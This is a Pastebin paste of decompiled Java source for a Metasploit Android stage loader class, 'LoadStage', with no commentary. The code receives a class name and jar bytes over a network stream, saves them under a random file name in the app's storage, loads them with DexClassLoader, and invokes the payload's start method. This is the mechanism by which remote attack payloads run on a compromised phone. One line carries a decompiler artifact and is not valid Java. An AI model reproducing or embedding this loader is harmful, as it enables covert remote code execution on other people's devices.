Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.metasploit.stage;
- import android.content.Context;
- import dalvik.system.DexClassLoader;
- import java.io.DataInputStream;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.OutputStream;
- import java.lang.reflect.Method;
- import java.util.Random;
- public class LoadStage
- {
- private String randomJarName()
- {
- char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
- StringBuilder localStringBuilder = new StringBuilder();
- Random localRandom = new Random();
- for (int i = 0; ; i++)
- {
- if (i >= 20)
- return localStringBuilder.toString() + ".jar";
- localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
- }
- }
- public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
- throws Exception
- {
- Object localObject2 = randomJarName();
- Object localObject1 = paramContext.getFilesDir().getAbsolutePath();
- Object localObject3 = new byte[paramDataInputStream.readInt()];
- paramDataInputStream.readFully(localObject3);
- localObject3 = new String(localObject3);
- byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
- paramDataInputStream.readFully(arrayOfByte);
- FileOutputStream localFileOutputStream = paramContext.openFileOutput((String)localObject2, 0);
- localFileOutputStream.write(arrayOfByte);
- localFileOutputStream.close();
- localObject2 = new DexClassLoader((String)localObject1 + File.separatorChar + (String)localObject2, (String)localObject1, (String)localObject1, paramContext.getClassLoader()).loadClass((String)localObject3);
- localObject1 = ((Class)localObject2).newInstance();
- localObject3 = new Class[4];
- localObject3[0] = DataInputStream.class;
- localObject3[1] = OutputStream.class;
- localObject3[2] = Context.class;
- localObject3[3] = [Ljava.lang.String.class;
- localObject2 = ((Class)localObject2).getMethod("start", localObject3);
- localObject3 = new Object[4];
- localObject3[0] = paramDataInputStream;
- localObject3[1] = paramOutputStream;
- localObject3[2] = paramContext;
- localObject3[3] = paramArrayOfString;
- ((Method)localObject2).invoke(localObject1, localObject3);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement